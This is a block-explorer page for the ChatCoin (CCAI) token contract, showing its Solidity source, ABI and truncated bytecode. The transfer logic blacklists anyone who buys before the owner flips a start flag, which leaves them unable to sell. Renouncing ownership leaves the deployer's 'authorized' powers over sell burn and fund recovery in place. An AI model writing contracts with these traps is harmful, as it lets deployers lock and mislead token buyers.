Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
21,000,000 CCAI
Holders
71
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4.330951929242720116 CCAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ChatCoin
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-22 */ pragma solidity ^0.7.0; //SPDX-License-Identifier: UNLICENSED /* @&&&&&&&&&&&&&&&@ &&&&&&&&&&&&&&&&&&&&&&&&&&& %&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&@* /@&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&. %&&&&&&&&&&&& &&&&&&&&&& &&&&&&&&&& &&&&&&&&# @&&&&&&&& &&&&&&&& &&&&&&&&&&&&& .&&&&&&&&&&&&&&&&( &&@ &&&&&&& &&& @&&&% @&&&&&&&&&@ && &&&&&@ &&&&&&&&&&& @&&&&&&&&& %&&&& &&&&& .&&&&&&&&&&&&&&& &&&&&&&&& &&&&&& &&&& &&&&&&( &&&&&&& &( &&&&&&&&& &&&&&&&&& &&&& &&&&& &&&&@ &&& &&&&&&&&&& &&&&&&&&&& @&&% &&&&& &&&&& @&&@ &&&&&&&&&& &&&&&&&&&& && &&&&& @&&&&@ && &&&&&&&&&@ &&&&&&&&&& && &&&&&& &&&&&& %& &&&&&&&&&& @&&&&&&&&&& & %&&&&&&& &&&&&&& & &&&&&&&&&&/ @&&&&&&&&&& &&&&&&&&&&&@ @&&&&&&&&&& &&&&&&&&&&% &&&&&&&&&&& @&&&&&&&&&&&&&&&&&&&@ &&&&&&&&&&& &&&&&&&&&&&& & & &&&&&&&&&&&& &&&&&&&&&&&& &@ && #&&&&&&&&&&&& &&&&&&&&&&&&& &&@ &&& #&&&&&&&&&&&&& &&&&&&&&&&&&&&& &&&&% @&&&@ &&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&@ &&&&&@ &&&&&&& @&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@ &&&&&&&&&&&&&&&&&&&&&@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&@ &&&&&&&&&&&&&&&&&&&&&@ .&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&& (&@@@@@&* &@@@@@@@@@, (@@@@@&&@@@@@@, &@@@(/////. %@@@# .@@@@/ @@@@*@@@@@@. *@@@@@@@* #@@@*@@@@@@. &@@@, *@@@& #@@@, (@@@@@@& @@@@. /@@@# @@@@% %@@@% @@@% %@@& #@@@% ,@@@@ &@@@@@@@@@ *@@@# *@@@, *@@@( @@@% @@@@* %@@@( @@@@ @@@@ %@@@@@@@@@@@, #@@@. %@@@. &@@@, ... *@@@*.@@@* @@@@@@@@@@@@ .@@@@&* (@@@@# @@@@/ &@@@( /@@@% #@@@. %@@@. &@@@. *@@@&@@/ #@@@/ .%@@@@@@@@@* @@@@@@@@@@@ &@@@@@@@@. #@@@. %@@@. &@@@@@@@@@% *@@@@/ .@@@@@@@@& @@@@ /@@@( @@@@ @@@@@@, Telegram: https://t.me/chatcoin_eye Website: chatcoin.online Buy tax: 0% Sell tax: 10% Burn only */ interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address who) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUNIv2 { function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ChatCoin is IERC20, Ownable { using SafeMath for uint; IUNIv2 uniswapRouter = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Factory uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); string public _symbol; string public _name; uint8 public _decimals; uint _totalSupply = 21000000 ether; uint public BurnPercent = 100; // Divided by 10, check line 257 address public uniswapPair; bool public isBurning; uint256 private _maxTxAmount = _totalSupply / 100; uint256 private _maxWalletAmount = _totalSupply / 50; mapping(address => bool) public isTxLimitExempt; mapping(address => bool) public blacklisted; mapping(address => uint) _balances; mapping(address => mapping(address => uint)) _allowances; mapping(address => bool) internal authorizations; bool private S_T_A_R_T = false; modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } constructor() { authorizations[owner()] = true; _symbol = "CCAI"; _name = "ChatCoin"; _decimals = 18; isTxLimitExempt[owner()] = true; uniswapPair = uniswapFactory.createPair(address(this), uniswapRouter.WETH()); _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address _owner, address spender) public view virtual override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(!isTxLimitExempt[sender]) require(!blacklisted[sender], "You are blacklisted"); if(!S_T_A_R_T && sender == uniswapPair && !isTxLimitExempt[recipient] && recipient != address(uniswapRouter) && recipient != uniswapPair) { blacklisted[recipient] = true; } if ( sender != owner() && recipient != owner() && !isTxLimitExempt[recipient] && recipient != address(0x000000000000000000000000000000000000dEaD) && recipient != uniswapPair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); uint256 balanceRecipient = balanceOf(recipient); require( balanceRecipient + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount" ); } if (recipient == uniswapPair && isBurning && sender != owner() && sender != address(uniswapFactory) && BurnPercent != 0) { uint256 ToBurn = amount.mul(BurnPercent).div(1000); uint256 ToTransfer = amount.sub(ToBurn); _burn(sender, ToBurn); _balances[sender] = _balances[sender].sub(ToTransfer, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(ToTransfer); emit Transfer(sender, recipient, ToTransfer); } else { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _balances[address(0)] = _balances[address(0)].add(amount); emit Transfer(account, address(0), amount); } function _approve(address _owner, address spender, uint256 amount) internal virtual { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } function setBurnPercent(uint256 value) external authorized { require(value <= 100, "BurnPercent can not be more than 10%"); BurnPercent = value; } function setIsBurning(bool value) external authorized { isBurning = value; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function S_t_a_r_t() external onlyOwner { S_T_A_R_T = true; } function removeBotsThatAreNotBots(address[] memory _bots) external onlyOwner { for (uint16 i = 0; i < _bots.length; i++) { blacklisted[_bots[i]] = false; } } function removeBuyLimits() external onlyOwner { _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; } function recoverLosteth() external authorized { payable(msg.sender).transfer(address(this).balance); } function recoverLostTokens(address _token, uint256 _amount) external authorized { IERC20(_token).transfer(msg.sender, _amount); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"S_t_a_r_t","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isBurning","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverLostTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverLosteth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"removeBotsThatAreNotBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeBuyLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setBurnPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsBurning","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a115eec47f6cf7e350000006007556064600855606460075481620000cf57fe5b04600a55603260075481620000e057fe5b04600b556000601160006101000a81548160ff0219169083151502179055503480156200010c57600080fd5b5060006200011f620005e160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160106000620001d3620005e960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506040518060400160405280600481526020017f4343414900000000000000000000000000000000000000000000000000000000815250600490805190602001906200027192919062000612565b506040518060400160405280600881526020017f43686174436f696e00000000000000000000000000000000000000000000000081525060059080519060200190620002bf92919062000612565b506012600660006101000a81548160ff021916908360ff1602179055506001600c6000620002f2620005e960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003eb57600080fd5b505afa15801562000400573d6000803e3d6000fd5b505050506040513d60208110156200041757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156200049257600080fd5b505af1158015620004a7573d6000803e3d6000fd5b505050506040513d6020811015620004be57600080fd5b8101908080519060200190929190505050600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600e600062000526620005e960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000574620005e960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3620006c8565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200064a576000855562000696565b82601f106200066557805160ff191683800117855562000696565b8280016001018555821562000696579182015b828111156200069557825182559160200191906001019062000678565b5b509050620006a59190620006a9565b5090565b5b80821115620006c4576000816000905550600101620006aa565b5090565b612f2380620006d86000396000f3fe608060405234801561001057600080fd5b50600436106101da5760003560e01c80638b42507f11610104578063bc3f4f54116100a2578063dd62ed3e11610071578063dd62ed3e1461094f578063dec2ba0f146109c7578063f84ba65d14610a15578063fe9fbb8014610a65576101da565b8063bc3f4f541461080e578063c816841b1461083e578063d28d885214610872578063dbac26e9146108f5576101da565b8063a457c2d7116100de578063a457c2d714610695578063a9059cbb146106f9578063b09f12661461075d578063bb1570da146107e0576101da565b80638b42507f146105845780638da5cb5b146105de57806395d89b4114610612576101da565b806333596f501161017c57806366312e9a1161014b57806366312e9a146104fa57806370a0823114610518578063715018a61461057057806382db09b61461057a576101da565b806333596f5014610462578063395093511461046c578063398be159146104d05780635b7c8210146104da576101da565b806318160ddd116101b857806318160ddd1461037e57806323b872dd1461039c578063313ce5671461042057806332424aa314610441576101da565b806306fdde03146101df578063095ea7b3146102625780630ba6a861146102c6575b600080fd5b6101e7610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b61037c600480360360208110156102dc57600080fd5b81019080803590602001906401000000008111156102f957600080fd5b82018360208201111561030b57600080fd5b8035906020019184602083028401116401000000008311171561032d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610b7f565b005b610386610cd7565b6040518082815260200191505060405180910390f35b610408600480360360608110156103b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce1565b60405180821515815260200191505060405180910390f35b610428610dba565b604051808260ff16815260200191505060405180910390f35b610449610dd1565b604051808260ff16815260200191505060405180910390f35b61046a610de4565b005b6104b86004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea8565b60405180821515815260200191505060405180910390f35b6104d8610f5b565b005b6104e2611040565b60405180821515815260200191505060405180910390f35b610502611053565b6040518082815260200191505060405180910390f35b61055a6004803603602081101561052e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611059565b6040518082815260200191505060405180910390f35b6105786110a2565b005b610582611228565b005b6105c66004803603602081101561059a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611304565b60405180821515815260200191505060405180910390f35b6105e6611324565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061a61134d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065a57808201518184015260208101905061063f565b50505050905090810190601f1680156106875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e1600480360360408110156106ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ef565b60405180821515815260200191505060405180910390f35b6107456004803603604081101561070f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114bc565b60405180821515815260200191505060405180910390f35b6107656114da565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107a557808201518184015260208101905061078a565b50505050905090810190601f1680156107d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61080c600480360360208110156107f657600080fd5b8101908080359060200190929190505050611578565b005b61083c6004803603602081101561082457600080fd5b81019080803515159060200190929190505050611657565b005b6108466116ef565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61087a611715565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108ba57808201518184015260208101905061089f565b50505050905090810190601f1680156108e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109376004803603602081101561090b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b3565b60405180821515815260200191505060405180910390f35b6109b16004803603604081101561096557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d3565b6040518082815260200191505060405180910390f35b610a13600480360360408110156109dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061185a565b005b610a6360048036036040811015610a2b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611986565b005b610aa760048036036020811015610a7b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5c565b60405180821515815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e611ab2565b8484611aba565b6001905092915050565b610b87611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518161ffff161015610cd3576000600d6000848461ffff1681518110610c6d57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610c4a565b5050565b6000600754905090565b6000610cee848484611cb1565b610daf84610cfa611ab2565b610daa85604051806060016040528060288152602001612e1360289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d60611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b611aba565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600660009054906101000a900460ff1681565b610ded33611a5c565b610e5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ea5573d6000803e3d6000fd5b50565b6000610f51610eb5611ab2565b84610f4c85600f6000610ec6611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b611aba565b6001905092915050565b610f63611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001601160006101000a81548160ff021916908315150217905550565b600960149054906101000a900460ff1681565b60085481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110aa611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611230611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600754600a81905550600754600b81905550565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113e55780601f106113ba576101008083540402835291602001916113e5565b820191906000526020600020905b8154815290600101906020018083116113c857829003601f168201915b5050505050905090565b600